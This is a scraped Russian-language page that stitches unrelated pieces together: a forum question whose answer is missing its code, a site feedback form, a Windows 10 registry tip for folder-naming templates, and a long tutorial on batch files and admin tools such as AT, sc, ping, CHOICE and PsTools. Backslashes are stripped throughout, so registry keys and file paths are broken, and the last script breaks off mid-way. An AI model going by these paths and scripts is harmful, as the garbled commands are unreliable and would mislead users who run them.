3 / 3 / 1 Регистрация: 29.01.2010 Сообщений: 113 |
|
1 |
|
Создать сценарий, обеспечивающий вывод на экран содержимого файлов12.01.2012, 23:01. Показов 3124. Ответов 1
Всем привет! Помогите создать сценарий в VBScript. Создать сценарий, обеспечивающий вывод на экран содержимого файлов Config.sys и Autoexec.bat. От себя добавлю — необходимо чтоб содержимое фалов выводилось в MsgBox’е.
__________________
0 |
Programming Эксперт 94731 / 64177 / 26122 Регистрация: 12.04.2006 Сообщений: 116,782 |
12.01.2012, 23:01 |
1 |
OSA_D 3 / 3 / 1 Регистрация: 16.04.2011 Сообщений: 6 |
||||
14.01.2012, 18:26 |
2 |
|||
Держи:
2 |
Предложите, как улучшить StudyLib
(Для жалоб на нарушения авторских прав, используйте
другую форму
)
Ваш е-мэйл
Заполните, если хотите получить ответ
Оцените наш проект
1
2
3
4
5
Все создаваемые в Windows 10 папки получают стандартное имя «Новая папка», что является вполне логичным. Исключение составляет командная строка, где в качестве аргумента команде создания папки mkdir нужно передать название каталога. Имя «Новая папка» присваивается по умолчанию, но если того пожелаете, можете заменить этот шаблон своим, отредактировав один ключ в реестре. Итак, с места в карьер.
Откройте редактор реестра командой regedit и перейдите к следующей ветке:
HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorer
Создайте в подразделе Explorer новый подраздел с именем NamingTemplates,
а в нём создайте обычный строковый параметр с именем RenameNameTemplate.
Кликнув по нему два раза, присвойте ему значение, которое будет служить именем для всех новых папок, создаваемых средствами Проводника.
Не забывайте только, что слеши, звездочки, знаки меньше и равно, двойные и одинарные кавычки, а также знак вопроса в именах папок использовать нельзя.
В остальном вам предоставляется полная свобода действий.
Новые настройки должны вступить в силу сразу, а если этого не произойдет, перезапустите Проводник.
Можете проверить результат, — все новые папки будут получать имя согласно прописанному в шаблоне.
В остальном ничего не изменится: каждая папка будет получать порядковый номер, иметь те же свойства и соответствующую дату создания.
Создание папки с текущей датой
Да, насчет даты создания. Можно сделать так, что каждая новая папка станет получать в качестве имени текущую дату и время. Если первый трюк — просто забава, то второй способ редактирования шаблона имеет практическую ценность. Здесь нам также предстоит поработать с реестром, но сначала нужно убедиться, что в настройках формата даты не используются слеши.
Взгляните на формат даты в системном трее, — если цифры разделены точкой или дефисом, можете ничего не менять, но если в качестве разделителя используется слеш, открыв приложение Параметры и перейдя в раздел «Время и язык», на вкладке «Регион» нажмите «Изменить форматы данных».
И выставьте в меню «Краткая дата» шаблон без слешей.
На этот раз в редакторе реестра разворачиваем ветку HKCRDirectoryshell и создаем в последнем подразделе два вложенных друг в друга подраздела «Новая папка с датой» (название может быть произвольным) и «command», чтобы получилось, как на скриншоте.
Затем дважды кликаем по параметру по умолчанию в папке command и прописываем в качестве его значения команду cmd.exe /c md «%1/%%DATE%%». В чём особенность такого решения? В том, что пункт «Новая папка с датой» будет доступен только для меню каталогов, и создаваться папка с датой будет только внутри того каталога, для которого было вызвано меню.
Если вы хотите создавать папки с датой в текущем расположении, нужно будет поработать с другой веткой реестра — HKCRDirectoryBackgroundshellСоздать папку с датойcommand, к тому же в качестве значения параметра по умолчанию мы укажем путь к скрипту, который станет выполнять всю работу.
Готовые скрипты вы можете скачать по ссылке yadi.sk/d/CLfZrStHLk_6aQ. В архиве вы найдете три cmd-скрипта: один для создания папки с текущей датой, один — для создания папки с текущими датой и временем и еще один, в котором к дате и времени добавляются еще и секунды. Кроме того, в архиве вы найдете один скрипт VBS, о назначении которого мы расскажем ниже. Здесь же мы приводим только скриншоты содержимого этих скриптов.
Создание папки с текущими датой и временем
Здесь всё аналогично предыдущему способу. Мы так же работаем с ключом HKCRDirectoryBackgroundshell, создавая в нём вложенные каталоги «Создать папку с датой и временем» и «Command», смотрите скриншот, только содержимое скрипта будет немного иное.
В результате в контекстном меню у вас появится еще один пункт, при выборе которого в текущей директории станет создаваться папка с настоящей датой и временем.
Единственное, что может омрачить всю эту картину — появление на долю секунды окна командной строки. Если вас это не смущает, пожалуйста, можете оставить всё как есть. Если же хотите, чтобы создание папок выполнялось в скрытом режиме, воспользуйтесь тем самым VBS-скриптом, о котором мы упомянули выше.
В первую очередь скрипт нужно отредактировать.
Откройте его Блокнотом и замените выделенный желтым маркером путь к соответствующему CMD-скрипту вашим путем.
Теперь, помните, что мы делали в подразделах command в редакторе реестра? Правильно — прописывали в качестве значения параметра по умолчанию полный путь к CMD-файлам с командами создания папок.
Так вот, вам нужно будет заменить пути к CMD-файлам путями к сценарию VBS, обязательно добавив перед путем в кавычках wsсript.exe. Смотрите скриншот ниже.
Надеемся, этот маленький трюк вы найдете для себя полезным.
Создание папок, в качестве которых используется дата и время может значительно упростить задачи каталогизации, к тому же ничто не мешает вам переименовывать созданные директории.
Разница лишь в том, что при создании папки обычным путем Windows 10 автоматически выделяет ее имя, предлагая ввести собственное название, тогда как при создание каталога с помощью скрипта этого не происходит. К слову, поправить можно и это, найдя функцию, отвечающую за выделение только что созданного каталога и эмуляцию нажатия F2.
Загрузка…
Выполнение каких либо действий в заданный интервал времени.
Речь пойдет не о запуске командного файла в определенное время, а
о выполнении какой-то его части только в определенный интервал времени,
например, с 10:00 до 12:00. Решения данной задачи потребует сравнения
текущего времени с указанным промежутком. Для примера, создадим командный
файл, выполняющий запуск стандартного калькулятора Windows , только в том
случае, если он запущен в интервале времени от 10:00 до 12:00. Необходимо
получить текущее время и выполнить проверку того, что оно не больше 12:00 и
не меньше 10:00 .
Команда IF позволяет выполнить сравнение строк
при использовании формата:
IF /I строка1 оператор_сравнения строка2 команда
где оператор_сравнения принимает следующие значения:
EQL - равно NEQ - не равно LSS - меньше LEQ - меньше или равно GTR - больше GEQ - больше или равно
а ключ /I, если он указан, задает сравнение текстовых строк без учета
регистра. Этот обычно используется для сравнения текстовых строк в
форме строка1==строка2. Сравнения проводятся по общему типу данных,
так что если строки 1 и 2 содержат только цифры, то обе строки преобразуются в
числа, после чего выполняется их сравнение. Следовательно, для решения нашей
задачи нужно сравнить
строку из первых двух символов значения переменной TIME ( чч:мм:сс )
с заданным диапазоном :
REM Время меньше 12:00 - перейти на анализ второго условия, иначе - выход if %time:~0,2% lss 12 goto tst2 exit :tst2 Rem Время больше 10:00 - перейти к выполнению, меньше - завершить работу выполнив exit if %time:~0,2% gtr 10 goto excalc exit :excalc calc.exe
Подобным же образом можно организовать проверку по дате, учитывая тот факт, что для данного способа
сравнения необходимо использовать только числовые значения из переменных.
Пример создания архива каталога «Мои Документы».
Этот командный файл создает архивы содержимого папки
«Мои Документы» пользователей Win2K/XP, размещая их в каталоги
C:ARHIVМои документыИмя пользователяДатавремя
Используются переменные окружения USERPROFILE, USERNAME, WINDIR.
Если вы разобрались с предыдущим примером, содержимое данного командного
файла не должно вызывать особых затруднений, поскольку в нем присутствуют
комментарии ( rem ), поясняющие в короткой форме смысл и назначение
последующих строк:
@echo off
rem Задается переменная FROM — откуда брать данные для архивирования
set FROM=%USERPROFILE%Мои Документы
rem Задается переменная TO — куда помещать архивы
set TO=C:arhivМои документы%USERNAME%
rem Создадим каталог ТО
md «%TO%»
rem Сформируем имя подкаталога из текущей даты
set VDATE=%date:~-10%
rem Сформируем имя файла архива из текущего времени — 12:00:00.99
rem отбросим сотые доли секунды и заменим символ : на символ . Результат — 12.00.00
set vtime=%TIME:~0,-3%
set vtime=%vtime::=.%
rem Создадим подкаталог для файла архива
md «%TO%%VDATE%»
rem Команда для архивирования. Ключ -r нужен для архивирования с вложенными папками
rem вариант для архиватора ARJ : arj.exe a -r «%TO%%VDATE%%VTIME%.arj» «%FROM%*.*»
rem При использовании архиватора RAR:
rar.exe a -r «%TO%%VDATE%%VTIME%.rar» «%FROM%*.*»
Если у вас возникнут проблемы связанные с неверной кодировкой символов
русского алфавита в именах файлов и каталогов, попробуйте воспользоваться командой
CHCP для смены кодовой страницы
chcp 866 — установить кодовую страницу 866 (DOS-кодировка)
chcp 1251 — установить кодовую страницу 1251 (Windows-кодировка)
Этот командный файл можно значительно сократить, убрав ненужные
переменные VTIME и VDATE, которые в данном примере, используются лишь для того ,
чтобы скрипт имел более наглядный и простой для понимания вид.
В операционных системах Windows XP/Vista/7 формат даты по умолчанию не
содержит название дня недели. Если есть необходимость получить это значение
без изменения настроек системы и использования дополнительного программного
обеспечения, можно воспользоваться сценарием Hindows Script Host (WSH).
— создаем файл сценария для получения названия дня недели, пусть с именем
weekday.vbs, и содержащим строку вывода на экран результата выполнения
функции WeekDayName
WScript.Echo WeekDayName(Weekday(Now), True)
— выполняем скрипт WSH с использованием консольной
версии программы обработки сценариев cscript.exe и
подавлением лишних сообщений (ключ //nologo)
cscript //nologo weekday.vbs
Пример командного файла для получения названия дня недели с
использованием функции WeekDayName :
ECHO OFF
echo WScript.Echo WeekDayName(Weekday(Now), True) > weekday.vbs
for /f «Tokens=1*» %%i in (‘cscript /nologo weekday.vbs’) DO set DayName=%%i
echo %DayName%
REM Дальше можно использовать переменную DayName, а файл weekday.vbs — удалить
REM ERASE dayname.vbs
REM …
Возможности, предоставляемые в сценариях WSH, намного превосходят возможности
командной строки CMD, поэтому, если задачу необходимо решить с помощью
командного файла, можно воспользоваться приемом, как в рассмотренном выше
примере.
Изменение даты и времени файлов или папок.
В Windows, к сожалению, не существует стандартного консольного средства для изменения даты и времени создания, доступа и модификации файлов и папок . Кто имел дело с Unix/Linux знает, что в этих операционных системах имеется простая и удобная утилита touch с помощью которой можно изменить время последнего доступа или время модификации файла на текущее значение или на значение времени, заданное в качестве аргумента командной строки. Если файл не существует, утилита создает пустой файл с указанным именем и устанавливает время создания , последнего изменения, и последнего доступа. Поэтому, нередко touch используют для создания пустых файлов.
Не секрет, что командная оболочка Unix/Linux значительно превосходит по своим возможностям командную строку Windows, поэтому, вполне понятно появление пакета UNIX Shell and Utilities для Windows NT и старше. Этот пакет представляет собой Windows-версии наиболее популярных утилит из среды Unix/Linux , которые могут выполняться как консольные команды в среде оболочки пользователя (в среде модуля sh.exe, входящего в пакет) или как исполняемые файлы в командной строке Windows. В набор входит
более 200 программ от компании Mortice Kern Systems (MKS),
рекомендуемых Microsoft в качестве средства миграции с Unix на Windows.
Благодаря набору UNIX Shell and Utilities многие, не решаемые в среде
командной строки Windows задачи, можно решить с помощью unix-подобных утилит.
И в том, числе, задачу изменения даты и времени создания, модификации и
доступа файла или папки с помощью утилиты
touch.exe Скачать, около 50Кб
Справку по работе с touch.exe можно получить при запуске утилиты с принятым в Unix ключом «—help»
touch.exe —help
При этом пользователю выводится краткая подсказка
touch [-acm] [-r|-f файл] [-t [[CC]YY]MMDDhhmm.[SS]] file файл
-a — Устанавливает время последнего доступа ( access )к файлу. Время последнего изменения не устанавливается, если явно не задан ключ -m ( modify )
-c — Указывает утилите не создавать файл, если он не существует.
-m — Устанавливает время последнего изменения файла.
-r file — Использовать значения времени из файла, заданного аргументом file.
-t time — Устанавливает время последнего изменения (модификации) и доступа в соответствии с указанным форматом date_time.
Формат даты, указанный в ключе -t задается в соответствии с шаблоном [[СС]YY]MMDDhhmm[.SS]:
СС — первые две цифры года (век).
YY — последние две цифры года.
MM — двузначный номер месяца.
DD — двузначный номер дня.
hh — значение часов даты.
mm — значение минут даты.
SS — значение секунд даты.
Примеры использования утилиты touch.exe в командной строке Windows:
touch C:foldermyfile.txt — изменить время доступа и модификации файла C:foldermyfile.txt на текущее. Если файл не существует, он будет создан с нулевой длиной и текущим временем создания, модификации и доступа.
touch C:folder — изменить время доступа и модификации папки C:folder на текущее.
touch -f C:ntldr C:folder — изменить время доступа и модификации папки C:folder на время, установленное для файла C:ntldr
touch -t 199803080102.00 C:folder — установить для существующей папки «C:folder» значение даты и времени модификации — 1998г., 8 марта, 1 час : 2 минуты :00 секунд
touch -t 1112.30 C:folder — установить для существующей папки «C:folder» значение даты и времени модификации — текущая дата, 11 час : 12 минут :30 секунд
touch -a -t 2222.20 C:folder — изменить только время доступа, время модификации не изменяется.
Кроме утилиты touch для модификации времени
файлов (но не папок) можно воспользоваться простой и удобной программой
Юрия Усманова setdate . Скачать,
архив zip размером около 16Кб).
Примеры использования:
setdate.exe -c C:1.txt 22.11.2011 — установить для файла C:1.txt дату создания 22.11.2011
setdate.exe -m C:1.txt 22.11.2011 — установить для файла C:1.txt дату изменения (модификации) 22.11.2011
setdate.exe -a C:1.txt 22.11.2011 — установить для файла C:1.txt дату доступа 22.11.2011
setdate.exe -d C:1.txt 22.11.2011 — установить для файла C:1.txt все даты 22.11.2011
Выполнение команд по расписанию.
В операционных системах WINDOWS 2000/XP и старше существует утилита командной
строки AT.EXE, позволяющая управлять задачами для
планировщика заданий Windows, и таким образом, выполнить команду или
пакетный файл в указанное время на локальном или удаленном компьютере.
Естественно, для успешного функционирования команды AT необходимо,
чтобы была запущена системная служба Планировщик заданий (обычно
она существует и запускается автоматически при стандартной установке
системы).
Примеры команды
AT [\имя_компьютера] [ [код] [/DELETE] | /DELETE [/YES]]
AT [\имя_компьютера] время [/INTERACTIVE] [ /EVERY:день[,…] | /NEXT:день[,…]] «команда»
\имя_компьютера — имя удаленного компьютера. Если этот параметр
опущен, задача относится к локальному компьютеру.
код — порядковый номер запланированной задачи.
Указывается если нужно отменить уже запланированную задачу с помощью
ключа /delete.
/delete — отменить запланированную задачу. Если код задачи опущен,
отменяются все задачи, запланированные для указанного
компьютера.
/yes — не будет запроса на подтверждение при отмене всех
запланированных задач.
время — Время запуска команды.
/interactive — интерактивный режим, разрешение взаимодействия
задачи с пользователем. Задачи, запущенные без этого ключа невидимы для
пользователя компьютера.
/every:день[,…] Запуск задачи осуществляется по указанным дням недели или
месяца. Если дата опущена, используется текущий день
месяца.
/next:день[,…] Задача будет запущена в следующий указанный день недели
(например в следующий четверг). Если дата опущена,
используется текущий день месяца.
«команда» — Команда или имя командного файла.
Примеры использования:
</li>
AT
AT 3 /DELETE — удаление задачи с номером 3
AT /DELETE /YES — удаление всех задач без запроса подтверждения
at \SERVER 15:21 /interactive notepad.exe — на компьютере
SERVER в 15:21 запустить видимое для пользователя приложение
«Блокнот» (notepad.exe)
AT 15:30 /interactive regedit.exe — в 15:30 запустить видимый
редактор реестра на своем компьютере.
необходимости каких-либо действий. Для посылки сообщения удаленному
пользователю используется утилита NET.EXE в режиме отправки
сообщения SEND. На компьютерах должна быть запущена служба
сообщений, иначе NET SEND не будет работать. В ОС Windows Vista и более поздних,
отправку сообщений нужно выполнять с помощью утилиты msg.exe, поскольку
команда net send в этих ОС больше не поддерживается. Описание команды MSG
AT 17:30 net.exe send COMP Пора домой — в 17:30 отправить сообщение
«Пора домой» пользователю компьютера COMP
AT 17:30 msg.exe * /server:COMP Пора домой — то же, что и в предыдущем случае, но с использованием команды msg
AT 17:39 msg.exe * Пора домой — запланировать на 17:39 отправку текстового сообщения «Пора домой» всем пользователям данного компьютера
в среде Windows Vista / 7 / 8
AT \PROXY 15:30 net.exe send COMP2 Test Message — создать задание на
компьютере PROXY, чтобы в 15:30 им было отправлено сообщение «Test Message»
на компьютер COMP2
AT 15:45 net.exe send имя своего компьютера Task Scheduler test — в
15:45 на своем компьютере показать сообщение «Task Scheduler test»
Для доступа к удаленному компьютеру и создания заданий,
пользователь, выполняющий команду AT должен обладать
соответствующими правами по отношению к удаленной системе.
Создаваемые командой AT задачи доступны для обработки в среде
пользователя с помощью оснастки «Назначенные задания» Windows.
Пуск — Панель управления — Назначенные задания — здесь можно
просматривать, изменять и удалять созданные командой AT
задачи. В Windows Vista / 7 используется меню — Панель управления — Администрирование — Планировщик заданий.
Остановка и запуск системных служб.
Для остановки и запуска служб из
командной строки, в любой версии Windows, можно воспользоваться командой NET.EXE
NET.EXE STOP < имя службы >
NET.EXE START < имя службы >
В качестве параметра команды можно использование как короткое, так и полное имя службы
(«Dnscache» — короткое, «DNS-клиент» — полное имя службы).
Имя службы, содержащее пробелы заключается в двойные кавычки.
Пример перезапуска службы «DNS-клиент»
net stop «DNS-клиент»
net start «DNS-клиент»
То же, с использованием короткого имени:
net stop Dnscache
net start Dnscache
Полное имя службы можно скопировать из
«Панель управления» — «Администрирование» — «Службы» — Имя службы —
«Свойства» — «Выводимое имя».
То же самое, но в режиме командной
строки: «Пуск» — «Выполнить» — services.msc.
Для управления службами гораздо удобнее воспользоваться утилитой
PsService.exe из
утилит PsTools
Утилита не требует установки и работает в любой OS Windows. Кроме запуска и
остановки, позволяет выполнить поиск конкретной службы на компьютерах локальной сети, опросить состояние и конфигурацию службы, изменить тип запуска, приостановить службу,
продолжить, перезапустить.
Для работы с системными службами в Windows XP и старше, можно использовать
утилиту sc.exe,
позволяющую не только остановить/запустить службу, но и опросить ее
состояние, параметры
запуска и функционирования, изменить конфигурацию, а также работать не только
с системными службами,
но и с драйверами. При наличии соответствующих прав, можно управлять
службами не только на локальной, но и на удаленной машине. Примеры:
sc.exe stop DNSCache — остановить службу DNSCache на локальном компьютере.
sc \192.168.0.1 query DNSCache — опросить состояние службы DNSCache на компьютере c
IP-адресом 192.168.0.1
sc \COMP start DNSCache запустить службу DNSCache на компьютере COMP
Подсказку по работе с утилитой можно получить, введя:
sc /?
Выдача значения переменной ERRORLEVEL .
Этот простенький командный файл выдаст на экран значение переменной
ERRORLEVEL по конкретной командной строке. Вначале выполняется проверка на
наличие хотя бы одного
входного параметра, и если ничего не задано, выдается сообщение об ошибке и происходит завершение
по команде exit. Если же хотя бы один параметр задан, то входные
параметры считаются командной
строкой и выполняются, а значение ERRORLEVEL выдается с помощью команды ECHO.
Содержимое файла (я назвал его echoEL.bat):
@echo off
if «%1» NEQ «» GOTO PARMOK
ECHO Нужно задать командную строку для определения ERRORLEVEL
exit
:PARMOK
%1 %2 %3 %4 %5 %6 %7 %8
ECHO %1 %2 %3 %4 %5 %6 %7 %8 ERRORLEVEL=%ERRORLEVEL%
Примеры запуска:
echoEL.bat NET SHARE
— будет выполнена команда
NET SHARE (выдать список разделяемых сетевых ресурсов) и выдан
код ERRORLEVEL
echoEL.bat NET SHARE X»=»C:
— будет
выполнена команда NET SHARE X:=C: (создать разделяемый сетевой ресурс с именем X, и путем в корневой каталог
диска C:) Обратите внимание на то, что символ = заключен в двойные
кавычки.
Перечисленные выше варианты задают корректную командную строку.
Но попробуйте задать неверный параметр для NET.EXE или вообще
несуществующую команду и вы увидите, какое значение примет ERRORLEVEL.
Диалог с пользователем
Для диалога с пользователем можно использовать команду:
SET /P имя переменной = текст
при выполнении которой, на экран выдается текстовое сообщение
< текст > и ожидается
ввод ответа. Пример — выполним запрос пароля и присвоим его значение
переменной «pset»:
set /p pset=»Enter password — »
echo Password is — %pset%
Недостатком данного способа является невозможность продолжения выполнения командного
файла при отсутствии ответа пользователя, поэтому очень часто вместо
set используются сторонние программы. В составе операционных систем семейства
Microsoft Windows имеется утилита командной строки CHOICE позволяющая
довольно просто реализовать диалог с пользователем и проанализировать введенные
им данные, однако в разных версия ОС утилита может присутствовать в стандартной
поставке ( Windows 7 ) или входить в наборы дополнительных программных
инструментов ( Resource Kit Windows XP ) Простейшая версия —
CHOICE.COM
Скачать (1.7кб), работающая во
всех ОС семейства Windows.
CHOICE выдает пользователю текстовое сообщение и ожидает выбора одного из заданных
вариантов ответа (нажатия клавиш на клавиатуре). По результатам выбора формируется
переменная ERRORLEVEL, значение которой равно порядковому номеру выбора. По умолчанию
вариантов выбора два — Y или N. Если ответ равен Y — то ERRORLEVEL=1, если N — то
ERRORLEVEL=2. Можно использовать более 2-х вариантов выбора и есть возможность
задать выбор по умолчанию, когда пользователь за определенное время не нажал
ни одной клавиши. Формат командной строки:
CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]
/C[:]choices — определяет допустимые варианты выбора. Если не задано — YN
/N — не выдавать варианты выбора.
/S — строчные и заглавные буквы отличаются.
/T[:]c,nn — Выбор по умолчанию равен «c» через «nn» секунд
text — Строка текста выводимая в качестве запроса
Создадим командный файл, демонстрирующий использование CHOICE.
Он будет реагировать на нажатие клавиш «1»,»2″,3″ и «0» .
При нажатии «0» выполняется завершение, а при нажатии остальных — сообщение пользователю. Если в
течении 10 секунд ничего не нажато — завершение.
@ECHO OFF
:CHOICE
CHOICE /C:1230 /T:0,10 Ваш вариант
IF %ERRORLEVEL% EQU 4 GOTO EXIT
echo Ваш выбор=%ERRORLEVEL%
GOTO CHOICE
:EXIT
Теперь, используя CHOICE вы можете создавать командные файлы, логика работы
которых может определяться пользователем.
Задержки в командных файлах
Когда-то, еще в DOS, для организации ожидания в командном файле использовалась команда SLEEP, но затем она почему-то перекочевала из стандартного установочного набора
Windows в дополнительный Resource Kit. Можно просто скопировать его оттуда в каталог system32
и использовать в ваших командных файлах.
:
SLEEP N — где N — количество секунд для задержки.
Если же Resource Kit нет под рукой, можно воспользоваться ранее рассмотренной
командой CHOISE без вывода текста и с автоматическим формированием ответа через
nn секунд (1-99):
choice.com /T:y,10 /N — задержка на 10 секунд
Более удобный способ основан на использовании утилиты ping.exe для петлевого интерфейса. Пинг для петлевого интерфейса (имя хоста —
localhost или IP- адрес 127.0.0.1) выполняется без реальной передачи данных, т.е.
практически мгновенно, а интервал между посылкой icmp-пакетов составляет 1 секунду. Указывая
количество «пингов» с помощью ключа «-n» можно получить задержку на n секунд:
ping 127.0.0.1 -n 30 > nul — даст задержку на 30 секунд
Перенаправление вывода команды ping на фиктивное устройство nul ( > nul ) позволяет убрать сообщения утилиты ping.exe с экрана.
В составе команд CMD Windows 7 имеется команда TIMEOUT для организации режима ожидания заданного интервала времени, либо до нажатия любой клавиши на клавиатуре. Описание команды — по ссылке «Список команд CMD Windows»
Определение доступности IP-адреса
Для проверки доступности сетевого узла используется упоминаемая выше стандартная утилита ping.exe. Утилита выполняет отправку ICMP-пакета на проверяемый узел (эхо-запрос) и ожидает ответный пакет (эхо-ответ). Результат проверки никак не отражается в переменной ERRORLEVEL и может быть получен только в данных стандартного вывода ping. Ненулевое значение ERRORLEVEL утилита ping.exe формирует только в том случае, если заданы ошибочные параметры командной строки. Иными словами, в некоторых случаях, нужный результат выполнения определенной команды нельзя определить по значению переменной ERRORLEVEL, и приходится анализировать, например, результат текстового вывода.
Если внимательно посмотреть на сообщения программы ping.exe при опросе доступного и недоступного узла, то можно заметить, что они значительно отличаются :
ping 456.0.0.1
— ping на несуществующий адрес
Ответ на такую команду может отличаться от конкретной версии утилиты, и
может быть приблизительно таким
При проверке связи не удалось обнаружить узел 456.0.0.1. Проверьте имя узла и повторите попытку.
ping yandex.ru
— ping на адрес узла yandex.ru
Ответ на ping доступного узла:
Обмен пакетами с yandex.ru [87.250.250.11] по 32 байт:
Ответ от 87.250.250.11: число байт=32 время=10мс TTL=55
Таким образом, для решения задачи определения доступности узла в командном файле, достаточно проанализировать характерные слова в выводе ping.exe при успешном ответе. Наиболее характерно в данном случае наличие слова TTL. Оно никогда не встречается при возникновении ошибки и состоит всего лишь из символов английского алфавита.
Для поиска «TTL» в результатах ping.exe удобнее всего объединить ее выполнение в цепочку с командой поиска строки символов FIND.EXE (конвейер ping и find). Справку по использованию можно получить командой
find /?
Поиск текстовой строки в одном или нескольких файлах.
FIND [/V] [/C] [/N] [/I] [/OFF[LINE]] «строка» [[диск:][путь]имя_файла[ …]]
/V Вывод всех строк, НЕ содержащих заданную строку.
/C Вывод только общего числа строк, содержащих заданную строку.
/N Вывод номеров отображаемых строк.
/OFF[LINE] Не пропускать файлы с установленным атрибутом «Автономный».
/I Поиск без учета регистра символов.
«строка» Искомая строка.
[диск:][путь]имя_файла
Один или несколько файлов, в которых выполняется поиск.
Если путь не задан, поиск выполняется в тексте, введенном с клавиатуры
либо переданном по конвейеру другой командой.
Как видно из справки, find.exe можно использовать для поиска нужной строки символов в тексте, переданном по конвейеру командой ping.exe. Если текст найден, значение переменной ERRORLEVEL будет равно 0
ping -n 1 COMPUTER | find /I «TTL» > nul
if %ERRORLEVEL%==0 goto LIVE
ECHO computer не доступен
подпрограмма обработки недоступного состояния
…
Exit
:LIVE — начало подпрограммы обработки состояния доступности узла
…
…
В конвейер добавлена команда перенаправления стандартного вывода на
фиктивное устройство nul, т.е. подавление вывода.
Ключ -n 1 задает однократный опрос узла COMPUTER для ping.exe.
Определение текущей версии Windows.
Так же, как и в предыдущем примере, для определения версии операционной системы в процессе выполнения командного файла, можно воспользоваться поиском определенных фрагментов текста в результатах выполнения команд, отображающих сведения о системе. Например, во всех операционных системах семейства Windows ( и даже в DOS ) существует специальная команда VER, предназначенная для отображения сведений о версии ОС. В результате выполнения команды, например, в среде Windows XP, отображается текст:
Microsoft Windows XP [Версия 5.1.2600]
В среде Windows 7, текст отличается:
Microsoft Windows [Version 6.1.7600]
Таким образом, результат выполнения команды VER в среде разных версий Windows, всегда содержит определенный текст, характерный только для данной ОС, и задача определения версии решается довольно просто:
@echo off set curr_OS= REM ver | find /i "5.0" if %errorlevel% == 0 set curr_OS=Windows 2000 REM ver | find /i "5.1" if %errorlevel% == 0 set curr_OS=Windows XP REM ver | find /i "5.2.3" if %errorlevel% == 0 set curr_OS=Windows Server 2003 REM ver|find /i "6.0" if %errorlevel% == 0 set curr_OS=Windows Vista REM ver | find /i "6.1">nul if %errorlevel% == 0 set curr_OS=Windows 7 REM if "%curr_OS%"=="" set curr_OS=Unknown echo Текущая версия ОС - %curr_OS%
Можно также воспользоваться более информативным выводом команды NET CONFIG WORKSTATION. При выполнении в среде Windows XP вывод команды представляет собой следующий текст:
Имя компьютера \COMP1 Полное имя компьютера COMP1.Mydomain Имя пользователя USER2 Активная рабочая станция на NetbiosSmb (000000000000) NetBT_Tcpip_{F53DEAF8-0AF5-4875-B565-8ED55C594769} (000D87009D28) Версия программы Windows 2002 Домен рабочей станции Mydomain DNS-имя домена рабочей станции Mydomain Домен входа Mydomain Интервал ожидания открытия COM-порта (с) 0 Отсчет передачи COM-порта (байт) 16 Таймаут передачи COM-порта (мс) 250 Команда выполнена успешно.
Для среды Windows 7 результат выполнения команды выглядит так:
Имя компьютера \COMP1 Полное имя компьютера COMP1.Mydomain Имя пользователя user2 Активная рабочая станция на NetBT_Tcpip_{F53DEAF8-0AF5-4875-B565-8ED55C594769} (000D87009D28) Версия программы Windows 7 Professional Домен рабочей станции Mydomain Домен входа Mydomain Интервал ожидания открытия COM-порта (с) 0 Отсчет передачи COM-порта (байт) 16 Таймаут передачи COM-порта (мс) 250 Команда выполнена успешно.
Как видим, строка Версия программы . . . тоже может быть использована для определения версии Windows, в среде которой выполняется командный файл. Кроме того, в результатах выполнения команды NET CONFIG WORKSTATION для серверных версий Windows всегда присутствует слово Server.
@echo off set curr_OS= REM net config workstation | find /i "Windows 2000" if %errorlevel% == 0 set curr_OS=Windows 2000 REM net config workstation | find /i "Windows 2002" if %errorlevel% == 0 set curr_OS=Windows XP REM net config workstation | find /i "Server 2003" if %errorlevel% == 0 set curr_OS=Windows Server 2003 REM net config workstation|find /i "Windows Vista" if %errorlevel% == 0 set curr_OS=Windows Vista REM net config workstation | find /i "Windows 7">nul if %errorlevel% == 0 set curr_OS=Windows 7 REM Плюс поиск по "Professional" net config workstation | find /i "Версия программы" | find "Professional" if errorlevel 0 if not errorlevel 1 set curr_OS=Windows 7 PRO REM Если версия неизвестна: if "%curr_OS%"=="" set curr_OS=Unknown echo %curr_OS%
Поиск компьютеров с запущенным приложением
Для реализации этого скрипта используются утилиты из пакета PSTools
(краткое описание).
Создадим командный файл, выполняющий поиск в локальной сети компьютеров с выполняющейся
программой,
имя которой (начальная часть имени) задается в качестве параметра при запуске,
например,
game . При обнаружении будет послано сообщение на компьютер
ADMINCOMP и обнаруженное приложение будет принудительно завершено. Для поиска будем использовать утилиту Pslist.exe и анализировать ее код возврата.
Значение переменной ERRORLEVEL равное нулю означает, что утилита обнаружила на
удаленном компьютере процесс, удовлетворяющий условиям поиска. Имя процесса для
поиска будем задавать в качестве параметра при запуске командного файла. Присвоим нашему командному файлу имя psl.bat.
Запуск с параметром будет выглядеть следующим образом:
psl.bat game
Для начала, нужно проверить, задан ли параметр в командной строке при запуске, и,
если не задан, выдадим сообщение пользователю и завершим выполнение. Если же параметр задан — перейдем на метку
» PARMOK «:
@echo off
if «%1» NEQ «» GOTO PARMOK
ECHO Нужно задать имя процесса для поиска
exit
:PARMOK
Теперь нужно обеспечить последовательное формирование IP-адресов компьютеров для командной строки PSlist.
Проще всего, это можно сделать с помощью присвоения временной переменной окружения (действительной
только на время выполнения командного файла), значения постоянной составляющей адреса (например — 192.168.0.) и вычисляемого
значения младшей части (например, в диапазоне 1-254).
Например, будем считать, что нам необходимо просканировать компьютеры в диапазоне адресов:
192.168.0.1 — 192.168.0.30:
set IPTMP=192.168.0. — старшая часть адресаset /A IPLAST=1 — младшая часть. Ключ /A означает вычисляемое числовое выражениеset IPFULL=%IPTMP%%IPLAST% — значение полного IP-адреса.
Командная строка для PSlist будет выглядеть cледующим образом:
pslist \%IPFULL% %1
Теперь осталось только циклически запускать PSlist, прибавляя в каждом цикле единицу к младшей части адреса,
пока ее значение не достигнет 30 и анализировать значение ERRORLEVEL после выполнения. Для анализа результата будем
выполнять переход командой:
GOTO REZULT%ERRORLEVEL%
обеспечивающей переход на метку REZULT0 при обнаружении процесса и на REZULT1 — при его отсутствии.
Окончательное содержимое командного файла:
@echo off
if «%1» NEQ «» GOTO PARMOK
ECHO Нужно задать имя процесса для поиска
exit
:PARMOK
set IPTMP=192.168.0.
rem Зададим начальное значение » хвоста » IP- адреса
set /A IPLAST=1
rem M0 — метка для организации цикла
:M0
rem Переменная IPFULL — полное значение текущего IP-адреса
set IPFULL=%IPTMP%%IPLAST%
rem Если » хвост «больше 30 — на выход
IF %IPLAST% GTR 30 GOTO ENDJOB
pslist \%IPFULL% %1
GOTO REZULT%ERRORLEVEL%
:REZULT0
rem Если найдено приложение- отправим сообщение на ADMINCOMP
